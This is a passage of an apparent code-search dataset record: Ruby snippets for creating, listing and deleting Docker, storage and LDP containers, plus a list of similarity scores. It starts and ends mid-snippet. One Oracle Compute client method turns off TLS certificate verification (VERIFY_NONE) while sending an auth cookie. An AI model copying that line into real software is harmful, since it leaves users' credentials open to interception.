container_params[:image],\n 'ExposedPorts' => { container_params[:exposed_port]+'/tcp' => {} },\n 'HostConfig' => {\n 'PortBindings' => {\n container_params[:exposed_port]+'/tcp' => [{ 'HostPort' => container_params[:host_port] }]\n }\n }\n )\n end\n\n #adds the container into the database\n @container = Container.new(:name => container_params[:name], :image => container_params[:image], :command => container_params[:command], :exposed_port => container_params[:exposed_port], \n :host_port => container_params[:host_port], :dockercontainer_id => @con.id, :status => 'Created')\n\n Docker.url = ''\n\n respond_to do |format|\n if @container.save\n Serverhascontainer.new(:server_id => @currentServer[0].id, :container_id => @container.id).save\n format.html { redirect_to root_path, notice: 'Container was successfully created.' }\n format.json { render :show, status: :created, location: @container }\n else\n format.html { render :new }\n format.json { render json: @container.errors, status: :unprocessable_entity }\n end\n end\n\n rescue Docker::Error::ClientError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n rescue Docker::Error::NotFoundError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n rescue Docker::Error::ConflictError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n end\n end", "def get_container_properties(name, options={})\n # Query\n query = { }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n # Call\n response = call(:get, container_uri(name, query), nil, {}, options)\n\n # result\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container\n end", "def container_names\n (@pod.dig(:spec, :containers) + self.class.init_containers(@pod)).map { |c| c.fetch(:name) }.uniq\n end", "def destroy\n @container = Container.find(params[:id])\n @container.destroy\n\n respond_to do |format|\n format.html { redirect_to(containers_url) }\n format.xml { head :ok }\n end\n end", "def get_container_properties(name, options={})\n query = { }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n response = call(:get, container_uri(name, query))\n\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container\n end", "def container_id\n return @container_id\n end", "def show\n @collection = @institution.collections.find(params[:id])\n\n respond_to do |format|\n format.html { render layout: 'fluid' }# show.html.erb\n format.json { render json: @collection }\n end\n end", "def add_container(params = {})\n now = Time.now.strftime(\"%Y-%m-%dT%H:%M:%S\")\n now = now.gsub(':', '--')\n\n @slug = params.fetch(:slug, now)\n \n containers = self.get_containers\n containers.each do |c|\n return c if c.uri.to_s.match(/\\/#{@slug}\\/?$/) # check if it already exists\n end\n \n # headers = {accept: 'text/turtle', content_type: 'text/turtle', \"Slug\" => @slug, \"Link\" => '<http://www.w3.org/ns/ldp#BasicContainer>; rel=\"type\"'}\n \n payload = \"\"\"@prefix ldp: <http://www.w3.org/ns/ldp#> . \n <> a ldp:Container, ldp:BasicContainer .\"\"\"\n etag = Digest::SHA2.hexdigest payload \n headers = {ETag: \"#{etag}\", accept: 'text/turtle', content_type: 'text/turtle', \"Slug\" => @slug, \"Link\" => '<http://www.w3.org/ns/ldp#BasicContainer>; rel=\"type\"'}\n \n \n response = LDP::HTTPUtils::post(self.uri, headers, payload, self.client.username, self.client.password)\n if response\n newuri = response.headers[:location] \n newcont = self._add_container({:uri => newuri,\n :client => self.client,\n :parent => self,\n :top => self.toplevel_container,\n :init => true})\n unless newcont\n abort \"PROBLEM - cannot add new container with id #{newuri}. BAILING just to be safe\"\n end\n return newcont\n else\n abort \"PROBLEM - cannot create container into #{self.uri}. BAILING just to be safe\"\n end\n \n end", "def delete # rubocop:disable Metrics/AbcSize\n attrcheck = { 'container name' => @options[:container] }\n @validate.attrvalidate(@options, attrcheck)\n containerview = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n if @options[:recurse]\n contents = containerview.contents(@options[:container])\n container_contents = contents.body.split(/\\n/)\n container_contents.each do |content|\n containerview.delete_content(@options[:container], content)\n puts 'deleted ' + content\n end\n end\n containerview = containerview.delete(@options[:container])\n if containerview.code == '204'\n puts \"Container #{@options[:container]} deleted\"\n else\n @util.response_handler(containerview)\n end\n end", "def read_container_id\n @id = ContainerStateFiles.read_container_id(store_address)\n cid = @id\n # SystemDebug.debug(SystemDebug.containers, 'read container from file ', @container_id)\n if @id == -1 || @id.nil? # && set_state != :nocontainer\n info = container_api.inspect_container_by_name(@container_name) # docker_info\n info = info[0] if info.is_a?(Array)\n if info.key?(:RepoTags)\n #No container by that name and it will return images by that name WTF\n @id = -1\n else\n @id = info[:Id] if info.key?(:Id)\n end\n end\n save_state unless cid == @id\n @id\n rescue EnginesException\n clear_cid unless cid == -1\n @id = -1\n end", "def containers_from_solr\n containers(:response_format => :load_from_solr)\n end", "def index\n @collections = @institution.collections.order(:name)\n\n respond_to do |format|\n format.html { render layout: 'fluid' }# index.html.erb\n format.json { render json: @collections }\n end\n end", "def container\n options.fetch(:container)\n end", "def containers\n return @containers unless @containers.nil?\n container_codes = []\n codes = code.split('|')\n container_codes << (codes = codes[0..-2]).join('|') while codes.size > 1\n # first is country code\n @containers = [country]\n # second, third can be parent administrative division if not nil\n # NOTE container codes is like: [\"ES|58|PO\", \"ES|58\", \"ES\"] (country is last)\n @containers += Division.find_all_by_code container_codes[0..-2], :order => :level if container_codes.size > 1\n return @containers\n end", "def lf_container\n container = Dry::Container.new\n\n case namespace\n when String, Symbol\n container.namespace(namespace) { |c| return c }\n when true\n container.namespace(identifier) { |c| return c }\n when nil\n container\n else\n raise <<-STR\n +namespace+ boot option must be true, string or symbol #{namespace.inspect} given.\n STR\n end\n end", "def show_container_with_http_info(container_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContainersApi.show_container ...'\n end\n # verify the required parameter 'container_id' is set\n if @api_client.config.client_side_validation && container_id.nil?\n fail ArgumentError, \"Missing the required parameter 'container_id' when calling ContainersApi.show_container\"\n end\n # resource path\n local_var_path = '/containers/{container_id}'.sub('{' + 'container_id' + '}', CGI.escape(container_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Container' \n\n # auth_names\n auth_names = opts[:auth_names] || ['BasicAuth', 'BearerAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContainersApi#show_container\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def new\n @container_content = @container.container_contents.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @container_content }\n end\n end", "def create # rubocop:disable Metrics/AbcSize\n attrcheck = { 'container name' => @options[:container] }\n @validate.attrvalidate(@options, attrcheck)\n newcontainer = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n newcontainer = newcontainer.create(@options[:container])\n if newcontainer.code == '201'\n puts \"Container #{@options[:container]} created\"\n else\n @util.response_handler(newcontainer)\n end \n end", "def show\n @data_center = DataCenter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @data_center }\n end\n end", "def running_containers\n containers = ::Docker::Container.all(all: true, filters: { status: [\"running\"] }.to_json)\n return containers\n end", "def get # replace this with the call that I use in my class that follows redirects\n @debug and $stderr.puts \"getting container\"\n @debug and $stderr.puts self.uri, {accept: \"text/turtle\"}, self.client.username, self.client.password\n response = LDP::HTTPUtils.get(self.uri, {accept: \"text/turtle\"}, self.client.username, self.client.password)\n etag = Digest::SHA2.hexdigest `date` \n headers = {ETag: \"#{etag}\", accept: 'text/turtle', content_type: 'text/turtle'}\n\n response = LDP::HTTPUtils.get(self.uri, headers, self.client.username, self.client.password)\n\n if response\n return response\n else\n @debug and $stderr.puts \"FAILED to find this container #{self.uri.to_s}\" # do something more useful, one day\n return false\n end\n end", "def containers\n containers_exited(days_old: 1)\n containers_running(days_old: 1)\n end", "def all\n containers = service.list_containers\n data = []\n containers.each do |container|\n c = parse_storage_object(container)\n c[:acl] = 'unknown'\n data << c\n end\n load(data)\n end", "def container=(value)\n @container = value\n end", "def new\n @order = OrderSession.new(session)\n @container = Container.get!(params[:container_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @order }\n end\n end", "def create params = {}, body = {}\n @connection.request(method: :post, path: build_path(\"/containers/create\", params), headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end", "def get_container_instance(container)\n Docker::Container.all(all: true).each do |cont|\n return cont if cont.id == container\n end\n end", "def update\n respond_to do |format|\n if @declaration_container.update_attributes(params[:declaration_container])\n format.html { redirect_to @declaration_container, notice: 'Declaration container was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @declaration_container.errors, status: :unprocessable_entity }\n end\n end\n end", "def list # rubocop:disable Metrics/AbcSize\n authcookie = ComputeBase.new\n authcookie = authcookie.authenticate(id_domain, user, passwd, restendpoint)\n url = restendpoint + @function + container\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port, @proxy_addr, @proxy_port) # Creates a http object\n http.use_ssl = true # When using https\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.request_uri)\n request.add_field 'accept', 'application/oracle-compute-v3+json' if action == 'details'\n request.add_field 'accept', 'application/oracle-compute-v3+directory+json' if action == 'list'\n request.add_field 'Cookie', authcookie\n http.request(request)\n end" ]
[ "0.7388319", "0.6743388", "0.66686505", "0.6461354", "0.6313267", "0.62979895", "0.6297625", "0.6292567", "0.6229595", "0.6223503", "0.6222594", "0.6170343", "0.61597574", "0.6084709", "0.6046337", "0.60257727", "0.5941389", "0.59389824", "0.5921294", "0.5906619", "0.5882632", "0.58770895", "0.58740044", "0.5822362", "0.5813465", "0.57956475", "0.57955956", "0.57862324", "0.57775825", "0.5768594", "0.57517934", "0.57517934", "0.571845", "0.56713134", "0.56537426", "0.5614018", "0.55888087", "0.55885893", "0.55880594", "0.5587606", "0.55734634", "0.55517644", "0.5546142", "0.5543372", "0.55413747", "0.55410135", "0.5540219", "0.5536588", "0.553165", "0.55251896", "0.55130994", "0.550646", "0.54993844", "0.5489601", "0.5484043", "0.54783285", "0.54736084", "0.54534763", "0.545098", "0.5448505", "0.5443054", "0.54297644", "0.54296786", "0.5427157", "0.54266655", "0.54172754", "0.54142994", "0.5401351", "0.53851044", "0.5375388", "0.5373659", "0.53413594", "0.5326405", "0.5322207", "0.5314", "0.53080255", "0.5302421", "0.52701515", "0.5267634", "0.5254099", "0.5250419", "0.52469444", "0.5226406", "0.52161366", "0.5205344", "0.5202971", "0.5202806", "0.51988727", "0.5196538", "0.51834023", "0.51791626", "0.51768774", "0.5169577", "0.5168952", "0.5167905", "0.5165151", "0.5164654", "0.51356614", "0.51335555", "0.5122355" ]
0.66715103
2
GET /declaration_containers/new GET /declaration_containers/new.json
def new @declaration_container = DeclarationContainer.new(:declaration_id => @declaration.id) respond_to do |format| format.html # new.html.erb format.json { render json: @declaration_container } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n response = post_request(URI.parse(\"http://\"+Storage.find(cookies[:donabe_ip]).data+\"/\"+Storage.find(cookies[:current_tenant]).data+\"/containers.json\"), params[:container].to_json, Storage.find(cookies[:current_token]).data)\n json_respond response.body \n\n end", "def create\n response = post_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/containers.json\"), params[:container].to_json, (sesh :current_token))\n json_respond response.body \n\n end", "def new\n @container_stack = ContainerStack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @container_stack }\n end\n end", "def new\n @container_navigation = ContainerNavigation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @container_navigation }\n end\n end", "def create\n @declaration_container = DeclarationContainer.new(params[:declaration_container])\n\n respond_to do |format|\n if @declaration_container.save\n format.html { redirect_to new_declaration_container_url(:declaration_id => @declaration_container.declaration_id), notice: 'Declaration container was successfully created.' }\n format.json { render json: @declaration_container, status: :created, location: @declaration_container }\n else\n format.html { render action: \"new\" }\n format.json { render json: @declaration_container.errors, status: :unprocessable_entity }\n end\n end\n end", "def create params = {}, body = {}\n @connection.request(method: :post, path: build_path(\"/containers/create\", params), headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end", "def new\n @level_container = LevelContainer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @level_container }\n end\n end", "def new\n @container_content = @container.container_contents.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @container_content }\n end\n end", "def new\n @container = Container.new\n \n respond_to do |format|\n format.html { render :action => :edit }\n format.xml { render :action => :edit, :xml => @container }\n end\n end", "def create\n response = get_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/containers/\"+params[:containerID].to_s+\"/deploy.json\"), (sesh :current_token))\n json_respond response.body\n end", "def handle_create(event)\n @bus.request 'containers', 'created', event: event.json, container: container_info(event.id)\n end", "def create_container\n\t\t\t\t@command.container_class.new\n\t\t\tend", "def create # rubocop:disable Metrics/AbcSize\n attrcheck = { 'container name' => @options[:container] }\n @validate.attrvalidate(@options, attrcheck)\n newcontainer = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n newcontainer = newcontainer.create(@options[:container])\n if newcontainer.code == '201'\n puts \"Container #{@options[:container]} created\"\n else\n @util.response_handler(newcontainer)\n end \n end", "def new\n @space_cat = SpaceCat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @space_cat }\n end\n end", "def create_container(collection, container = nil)\n active_container = container\n if active_container.nil?\n active_container = {\n \"metadata\": [\n {\n \"key\": \"dc.title\",\n \"language\": \"en_US\",\n \"value\": \"Empty Container Document\"\n },\n {\n \"key\": \"dc.contributor.author\",\n \"language\": \"en_US\",\n \"value\": \"Data Services, Bobst Library\"\n }\n ]\n }\n end\n cmd = `curl -X POST -H \"Content-Type: application/json\" -H \"Accept: application/json\" -H \"rest-dspace-token: #{@token}\" -d '#{JSON.generate(active_container)}' #{ENV[\"FDA_REST_ENDPOINT\"]}/collections/#{collection}/items --insecure -s`\n return JSON.parse(cmd)\n end", "def new\n @receipt_container = ReceiptContainer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @receipt_container }\n end\n end", "def set_new\n @container = Container.find(params[:container_id])\n @container_row = ContainerRow.new\n end", "def new\n @template_container = TemplateContainer.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template_container }\n end\n end", "def create\n @level_container = LevelContainer.new(params[:level_container])\n\n respond_to do |format|\n if @level_container.save\n format.html { redirect_to @level_container, notice: 'Level container was successfully created.' }\n format.json { render json: @level_container, status: :created, location: @level_container }\n else\n format.html { render action: \"new\" }\n format.json { render json: @level_container.errors, status: :unprocessable_entity }\n end\n end\n end", "def new_for_creating_stack\n infra_id = params.require(:infrastructure_id)\n\n histories = CfTemplate.for_infra(infra_id)\n # TODO: 変数名変えたほうがいいんじゃ\n globals = CfTemplate.global\n\n render json: {\n histories: histories,\n globals: globals,\n } and return\n end", "def new\n @collection = Collection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collection }\n end\n end", "def new\n @collection = Collection.new\n respond_to do |format|\n format.html { create }\n format.json { render :json => @collection }\n end\n end", "def new\n @deployment = Deployment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @deployment }\n end\n end", "def new\n @collection = Collection.new(:parent_id => params[:parent_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collection }\n end\n end", "def new\n @collection = Collection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @collection }\n end\n end", "def new\n @collection = @institution.collections.new\n\n respond_to do |format|\n format.html { render layout: 'form' }# new.html.erb\n format.json { render json: @collection }\n end\n end", "def new\n @order = OrderSession.new(session)\n @container = Container.get!(params[:container_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @order }\n end\n end", "def new\n @datacenter = Datacenter.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @datacenter }\n end\n end", "def create\n @container = current_user.containers.build(params[:container])\n \n respond_to do |format|\n if @container.save\n flash[:notice] = 'Container was successfully created.'\n format.html { redirect_to(@container) }\n format.xml { render :xml => @container, :status => :created, :location => @container }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @container.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @holder = Holder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holder }\n end\n end", "def new\n puts @category.inspect\n @internal = @category.internals.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @internal }\n end\n end", "def new\n @space = Space.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @space }\n end\n end", "def create\n @container_stack = ContainerStack.new(params[:container_stack])\n\n respond_to do |format|\n if @container_stack.save\n format.html { redirect_to @container_stack, notice: 'Container stack was successfully created.' }\n format.json { render json: @container_stack, status: :created, location: @container_stack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @container_stack.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @construction = Construction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @construction }\n end\n end", "def new\n @allocation = Allocation.new params[:allocation]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @allocation }\n end\n end", "def new\n @collection_type = CollectionType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collection_type }\n end\n end", "def new\n @slab = Slab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @slab }\n end\n end", "def new\n @factoid = Factoid.new\n @tags = []\n Tag.all.each do |t|\n @tags.append(t.name)\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @factoid }\n end\n end", "def create\n @container_navigation = ContainerNavigation.new(params[:container_navigation])\n\n respond_to do |format|\n if @container_navigation.save\n format.html { redirect_to @container_navigation, notice: 'Container navigation was successfully created.' }\n format.json { render json: @container_navigation, status: :created, location: @container_navigation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @container_navigation.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @clinic = Clinic.new\n @packages = Package.all\n @pageType = \"new\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clinic }\n end\n end", "def new\n @cat = Cat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cat }\n end\n end", "def new\n @cat = Cat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cat }\n end\n end", "def create\n @serverhascontainer = Serverhascontainer.new(serverhascontainer_params)\n\n respond_to do |format|\n if @serverhascontainer.save\n format.html { redirect_to @serverhascontainer, notice: 'Serverhascontainer was successfully created.' }\n format.json { render :show, status: :created, location: @serverhascontainer }\n else\n format.html { render :new }\n format.json { render json: @serverhascontainer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @data_center = DataCenter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @data_center }\n end\n end", "def new\n @portion = Portion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @portion }\n end\n end", "def new\n @finding_category = FindingCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @finding_category }\n end\n end", "def new\n authorize! :create, @binder\n \n @maintenance_item = MaintenanceItem.new(\n binder_id: @binder.id, \n created_by: current_user.id, \n interval: 1, \n maintenance_cycle_id: MaintenanceCycle.where(:name => 'Years').first.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @maintenance_item }\n format.js\n end\n end", "def new\n @konfig = Konfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @konfig }\n end\n end", "def new\n @pageType = \"new\"\n @patient = Patient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient }\n end\n end", "def new\n @garbage = Garbage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @garbage }\n end\n end", "def add_container(params = {})\n now = Time.now.strftime(\"%Y-%m-%dT%H:%M:%S\")\n now = now.gsub(':', '--')\n\n @slug = params.fetch(:slug, now)\n \n containers = self.get_containers\n containers.each do |c|\n return c if c.uri.to_s.match(/\\/#{@slug}\\/?$/) # check if it already exists\n end\n \n # headers = {accept: 'text/turtle', content_type: 'text/turtle', \"Slug\" => @slug, \"Link\" => '<http://www.w3.org/ns/ldp#BasicContainer>; rel=\"type\"'}\n \n payload = \"\"\"@prefix ldp: <http://www.w3.org/ns/ldp#> . \n <> a ldp:Container, ldp:BasicContainer .\"\"\"\n etag = Digest::SHA2.hexdigest payload \n headers = {ETag: \"#{etag}\", accept: 'text/turtle', content_type: 'text/turtle', \"Slug\" => @slug, \"Link\" => '<http://www.w3.org/ns/ldp#BasicContainer>; rel=\"type\"'}\n \n \n response = LDP::HTTPUtils::post(self.uri, headers, payload, self.client.username, self.client.password)\n if response\n newuri = response.headers[:location] \n newcont = self._add_container({:uri => newuri,\n :client => self.client,\n :parent => self,\n :top => self.toplevel_container,\n :init => true})\n unless newcont\n abort \"PROBLEM - cannot add new container with id #{newuri}. BAILING just to be safe\"\n end\n return newcont\n else\n abort \"PROBLEM - cannot create container into #{self.uri}. BAILING just to be safe\"\n end\n \n end", "def new\n @infrastructure = Infrastructure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @infrastructure }\n end\n end", "def new\n @database = Database.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @database }\n end\n end", "def new\n @cloud = Cloud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @cloud }\n end\n end", "def new\n @fiction = Fiction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fiction }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @physical_rack = PhysicalRack.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @physical_rack }\n end\n end", "def new\n @database = Database.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json=> @database }\n end\n end", "def new\n @exhibitor_category = ExhibitorCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exhibitor_category }\n end\n end", "def new\n @contacter = Contacter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contacter }\n end\n end", "def create\n @container_item = ContainerItem.new(container_item_params)\n respond_to do |format|\n if @container_item.save\n format.html {redirect_back(fallback_location: (request.referer || root_path), notice: 'Container item was successfully created.')}\n format.json { render json: @container_item, status: :created, location: @container_item }\n else\n format.html {redirect_back(fallback_location: (request.referer || root_path), notice: 'Container item was NOT successfully created.')}\n format.json { render json: @container_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @lifecycle = Lifecycle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lifecycle }\n end\n end", "def new\n @cds_structure = CdsStructure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cds_structure }\n end\n end", "def new\n @dockyard = Dockyard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dockyard }\n end\n end", "def new\n @breadcrumb = 'create'\n @infrastructure_type = InfrastructureType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @infrastructure_type }\n end\n end", "def new\n @operations_center = OperationsCenter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @operations_center }\n end\n end", "def new\n @ctype = Ctype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ctype }\n end\n end", "def new\n @collection = @user.collections.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collection }\n end\n end", "def new\n @console_pool = ConsolePool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @console_pool }\n end\n end", "def new\n @contract_doc_category = ContractDocCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contract_doc_category }\n end\n end", "def new\n @tagging = Tagging.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tagging }\n end\n end", "def new\n @lab = Lab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab }\n end\n end", "def new\n @lab = Lab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab }\n end\n end", "def new\n @cont = Cont.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cont }\n end\n end", "def create\n collection = Collection.create(collection_params)\n\n render json: collection\n end", "def new\n @page_template = PageTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_template }\n end\n end", "def new\n @contum = Contum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contum }\n end\n end", "def new\n @page_layout = PageLayout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_layout }\n end\n end", "def new\n @myspace = Myspace.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @myspace }\n end\n end", "def new\n @encounter = Encounter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @encounter }\n end\n end", "def new\n @competence_center = CompetenceCenter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @competence_center }\n end\n end", "def new\n @ped = Ped.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ped }\n end\n end", "def create\n begin\n #get the server chosen container_params[:server_id]\n @currentServer = Server.where(id: container_params[:server_id])\n Docker.url = 'tcp://' + @currentServer[0].ip + \":\" + @currentServer[0].port\n\n #create the container in docker\n if container_params[:exposed_port].blank?\n @con = Docker::Container.create(\n 'name' => container_params[:name],\n 'Image' => container_params[:image]\n ) \n else \n @con = Docker::Container.create(\n 'name' => container_params[:name],\n 'Image' => container_params[:image],\n 'ExposedPorts' => { container_params[:exposed_port]+'/tcp' => {} },\n 'HostConfig' => {\n 'PortBindings' => {\n container_params[:exposed_port]+'/tcp' => [{ 'HostPort' => container_params[:host_port] }]\n }\n }\n )\n end\n\n #adds the container into the database\n @container = Container.new(:name => container_params[:name], :image => container_params[:image], :command => container_params[:command], :exposed_port => container_params[:exposed_port], \n :host_port => container_params[:host_port], :dockercontainer_id => @con.id, :status => 'Created')\n\n Docker.url = ''\n\n respond_to do |format|\n if @container.save\n Serverhascontainer.new(:server_id => @currentServer[0].id, :container_id => @container.id).save\n format.html { redirect_to root_path, notice: 'Container was successfully created.' }\n format.json { render :show, status: :created, location: @container }\n else\n format.html { render :new }\n format.json { render json: @container.errors, status: :unprocessable_entity }\n end\n end\n\n rescue Docker::Error::ClientError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n rescue Docker::Error::NotFoundError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n rescue Docker::Error::ConflictError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n end\n end", "def new\n @lab_name = LabName.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab_name }\n end\n end", "def new\n @project = Project.new\n @services = Service.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "def new\n @conductor = Conductor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conductor }\n end\n end", "def new\n @conductor = Conductor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conductor }\n end\n end", "def create_new_container\n puts 'Start creating a new container..'\n host = get_available_host\n if host.nil?\n puts 'Could not found a host with limit enough to create more containers'\n return\n end\n puts \"getting an available port to #{host}\"\n port = get_available_port(host)\n if port.nil?\n puts 'Could not found an available port'\n return\n end\n\n puts \"using port #{port} from #{host}\"\n\n Docker.url = \"tcp://#{host}:#{@docker_port}/\"\n container = Docker::Container.create(\n 'Image' => \"#{@ws_image}\",\n 'ExposedPorts' => { \n '8070/tcp' => {}\n },\n 'HostConfig' => {\n 'CpuPeriod' => 25000,\n 'PortBindings' => {\n '8070/tcp' => [ { 'HostPort' => \"#{port}\" } ]\n }\n }\n )\n container.start\n register_container(host, port, container.id)\n end", "def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end", "def new\n @pcategory = Pcategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pcategory }\n end\n end", "def new\n @reflection = Reflection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reflection }\n end\n end", "def new\n @node_template = NodeTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node_template }\n end\n end", "def new\n @definition = Definition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @definition }\n end\n end", "def new\n @definition = Definition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @definition }\n end\n end", "def new\n @category = Category.new\n\n respond_to do 